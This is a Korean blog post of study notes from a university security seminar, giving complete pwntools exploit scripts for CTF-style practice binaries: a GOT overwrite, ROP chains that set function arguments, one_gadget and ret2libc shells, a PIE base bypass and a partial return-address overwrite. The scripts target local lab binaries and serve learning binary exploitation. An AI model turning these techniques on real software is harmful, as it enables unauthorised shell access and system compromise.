CyKor week5

soon_haari·2022년 7월 2일
0

cykor_seminar

목록 보기
2/6

problem1

got_overwrite의 복습 문제였다.

exploit.py

from pwn import *

p = process("./got_overwrite")

gift = 0x4011d6
puts_got = 0x404018

p.sendline(str(puts_got))
p.sendline(str(gift))

p.interactive()




problem2

C 코드를 보면 gift함수를 실행하되, 5개의 매개변수가 모두 해당해야 /bin/sh를 실행할 수 있는 구조였다.

exploit.py

from pwn import *

p = process("./parameter")

gift = 0x4011a8

r8r = 0x004011a2
rcxr = 0x004011a0
rdxr = 0x0040119e
rsir15r = 0x00401361
rdir = 0x00401363

payload = (b"A"*0x400)
payload += (b"BBBBBBBB")

payload += p64(r8r)
payload += p64(0xEEEEEEEEEEEEEEEE)

payload += p64(rcxr)
payload += p64(0xDDDDDDDDDDDDDDDD)

payload += p64(rdxr)
payload += p64(0xCCCCCCCCCCCCCCCC)

payload += p64(rsir15r)
payload += p64(0xBBBBBBBBBBBBBBBB)
payload += p64(0xDEADBEEFDEADBEEF)

payload += p64(rdir)
payload += p64(0x0011AABBCCDDEEFF)


payload += p64(gift)


p.sendline(payload)

p.interactive()

x64 구조에서의 매개변수 전달 순서와 과정을 이해할 수 있는 문제였다.

rdi -> rsi -> rdx -> rcx -> r8 -> r9




problem 2-2

problem2와 동일하지만 x86구조에서의 문제이다.

exploit.py

from pwn import *

p = process("./parameter_x86")

gift = 0x80491f6

popret = 0x8049022

payload = (b"A"*0x404)
payload += (b"BBBB")

payload += p32(gift)

payload += p32(popret)
payload += p64(0x0011AABBCCDDEEFF)
payload += p64(0xBBBBBBBBBBBBBBBB)
payload += p64(0xCCCCCCCCCCCCCCCC)
payload += p64(0xDDDDDDDDDDDDDDDD)
payload += p64(0xEEEEEEEEEEEEEEEE)

p.sendline(payload)

p.interactive()

처음에는 pop5ret의 gadget이 무조건 필요하다고 생각했는데 x86에서의 매개변수 구조를 공부하니 그렇게 할 필요가 없다는 것을 알았다.

심지어는 위에서
payload += p32(popret)을 그냥 p32(0x0)으로 대체해도 정상적으로 실행되었다.




problem 3

exploit.py

from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = e.libc

one_gadget = [0xe3b2e, 0xe3b31, 0xe3b34]

p.recvuntil("printf Function is at: ")
real_printf=int(p.recvline(), 16)
libc_base=real_printf-libc.symbols['printf']

payload = b"A"*0x20
payload += p64(0x0)
payload += p64(libc_base + one_gadget[1])


p.sendline(payload)

p.interactive()

system(/"bin/sh\x00")을 이용하는 것이 아니라 one_gadget을 이용하여 푸는 문제였던 것 같다.
one_gadget의 execve("/bin/sh", 0, 0) 3개 중 두 번째 주소로 실행했더니 해결할 수 있었다.




problem 3-2

exploit.py

from pwn import *

p = process("./rop2")
e = ELF("./rop2")
libc = e.libc

rdir = 0x401283
r = 0x401284

puts_plt = 0x401060
puts_got = 0x404018
main = 0x4011cf

payload = b"A"*0x400
payload += b"BBBBBBBB"
payload += p64(rdir)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(r)
payload += p64(main)
p.send(payload)

puts = u64(p.recv(11)[-6:].ljust(8, b"\x00"))
log.info(hex(puts))
base = puts - libc.symbols['puts']
system = base + libc.symbols['system']
binsh = base + list(libc.search(b"/bin/sh"))[0]

payload = b"A"*0x400
payload += b"BBBBBBBB"
payload += p64(rdir)
payload += p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()

main의 주소를 알아내고 그 주소를 이용해서 system의 주소를 알아내는 구조이다.

stacking을 무한으로 즐기라는 말이 무슨 뜻인지 알게 해주는 문제였던 것 같다.




problem 4

이 문제의 정풀을 problem3에서 나는 시도하고 있었다...

다른 사람에게 물어본 결과, pop rdi gadget이 변해서 그런다고 했다.


exploit.py
from pwn import *

p = process("./simple_pie_32")

p.recvuntil("Main Function is at: ")
main=int(p.recvline(), 16)
gdb_main_address = 0x122d
gdb_win_address = 0x1291
payload = b"A"*0x1c
payload += p32(0x0)
payload += p32(main - gdb_main_address + gdb_win_address)


p.sendline(payload)

p.interactive()

내부에서는 구조가 같음을 잘 이해할 수 있는 문제였다.




problem 5

exploit.py

from pwn import *

p = process("./pie")

payload = b"a"*0x18
p.send(payload)

p.recv(30)
main_plus_28 = u64(p.recv(6).ljust(8,b"\x00"))

gdb_main_plus_28 = 0x12ae
gdb_win = 0x1283 #0x126f, 0x1277

payload += p64(main_plus_28 - gdb_main_plus_28 + gdb_win)
p.send(payload)

p.interactive()

문제를 풀면서 알게 된 점이 몇 가지 있었다.

먼저 입출력을 받아야 하는 경우는 \n때문에 굉장히 귀찮아지는 일이 많으니 recvline이랑 sendline보다는 recv(n)과 send를 사용하자.

pie_base의 개념은 확실히 이해했다고 생각했는데, 처음에는 x win을 하면 나오는 주소인 0x126f를 넣으면 EZ~만을 출력하고 에러가 뜨는 것이 이해가 안 갔다.

0x126f에 8을 더한 값인 0x1277을 넣으면 정상적으로 작동함을 알 수 있었다.

그 이유는 이미 sfp를 덮어 망가뜨려 놓았기 때문에 스택 관련 조작을 하면 에러가 뜨는 것으로 생각할 수 있었다.

실제로 0x1277을 넣으면 EZ~ 하고 /bin/sh가 작동했지만, 0x1283을 넣으면 그냥 /bin/sh가 작동하였다.




problem 6

exploit.py

#python3
from pwn import *

p =process("./token")

payload = b"a"*0x408
payload += b"\xac"

p.send(payload)

p.interactive()

문제를 어떻게 풀어야 할지 아이디어는 얻을 수 있었다.

main의 ret에 main 내부의 system("/bin/sh");가 있는 주소를 넣으면 될 것이라고 생각했다.

그렇게 해서 main의 그 부분의 마지막 바이트인 43을 넣었더니 작동하지 않았다.

3e를 넣으면 작동하는 것을 보고 이게 왜 되는지 이해가 잘 가지 않았다.

알고 보니 main의 ret은 __start_libc_main 함수의 한 부분이었고, 그의 마지막 바이트만을 바꿔서 main으로 돌아갈 수 있는 길을 찾는 것이 포인트인 문제였다.

__start_libc_main을 disassemble해보면 ret이 가리키는 주소 바로 전에 rax에 rsp+0x18을 넣고, call rax를 실행하는 코드가 있다.

그 주소 (\xac)를 사용하면 문제를 해결할 수 있었다.

\x3e가 왜 되는지는 아직 의문이다.

profile
I'm such a good surfer

0개의 댓글